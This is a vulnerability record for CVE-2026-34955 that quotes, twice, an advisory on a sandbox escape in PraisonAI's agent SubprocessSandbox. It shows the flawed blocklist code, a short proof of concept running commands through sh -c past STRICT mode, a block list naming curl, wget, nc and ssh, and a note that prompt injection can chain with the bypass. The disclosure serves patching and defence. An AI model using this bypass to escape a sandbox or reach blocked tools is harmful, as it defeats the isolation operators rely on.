CVE-2026-34955
criticalpriority · track · 40EPSS 0.004 · 32 %ileEUUSEPSS · scored 2026-10-24
PraisonAI is a multi-agent teams system. Prior to version 4.5.97, SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'. This issue has been patched in version 4.5.97.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.8–10
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-r4f2-3m54-pp7qPraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox2026-04-01ghsa · osvUS
### Summary `SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c '<command>'`. ### Details `sandbox_executor.py:179` (source) -> `sandbox_executor.py:326` (sink) ```python # source -- string-pattern blocklist, sh and bash not in blocked_commands cmd_name = Path(parts[0]).name if cmd_name in self.policy.blocked_commands: # sh, bash not blocked raise SecurityError(...) dangerous_patterns = [ ("| sh", ...), # requires space -- "id|bash" evades this ("| bash", ...), # requires space ] # sink -- shell=True spawns /bin/sh regardless of sandbox mode result = subprocess.run( command, shell=True, ... ) ``` ### PoC ```python # tested on: praisonai==4.5.87 (source install) # install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode policy = SandboxPolicy.for_mode(SandboxMode.STRICT) sandbox = SubprocessSandbox(policy=policy) result = sandbox.execute("sh -c 'id'") print(result.stdout) # expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ``` ### Impact Users who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via `sh -c '<blocked_command>'`. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services. ### Suggested Fix ```python import shlex result = subprocess.run( shlex.split(command), shell=False, cwd=cwd, env=env, capture_output=capture_output, text=True, timeout=timeout ) ```
- PYSEC-2026-2921PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox2026-07-13vendor · osvUS
### Summary `SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c '<command>'`. ### Details `sandbox_executor.py:179` (source) -> `sandbox_executor.py:326` (sink) ```python # source -- string-pattern blocklist, sh and bash not in blocked_commands cmd_name = Path(parts[0]).name if cmd_name in self.policy.blocked_commands: # sh, bash not blocked raise SecurityError(...) dangerous_patterns = [ ("| sh", ...), # requires space -- "id|bash" evades this ("| bash", ...), # requires space ] # sink -- shell=True spawns /bin/sh regardless of sandbox mode result = subprocess.run( command, shell=True, ... ) ``` ### PoC ```python # tested on: praisonai==4.5.87 (source install) # install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode policy = SandboxPolicy.for_mode(SandboxMode.STRICT) sandbox = SubprocessSandbox(policy=policy) result = sandbox.execute("sh -c 'id'") print(result.stdout) # expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ``` ### Impact Users who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via `sh -c '<blocked_command>'`. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services. ### Suggested Fix ```python import shlex result = subprocess.run( shlex.split(command), shell=False, cwd=cwd, env=env, capture_output=capture_output, text=True, timeout=timeout ) ```
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (4)
External citations — patches, advisories, analysis.
- https://github.com/MervinPraison/PraisonAI/releasesPatchcnnvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r4f2-3m54-pp7qcnnvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r4f2-3m54-pp7qenisa_euvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r4f2-3m54-pp7qExploitMitigationVendor Advisorynvd
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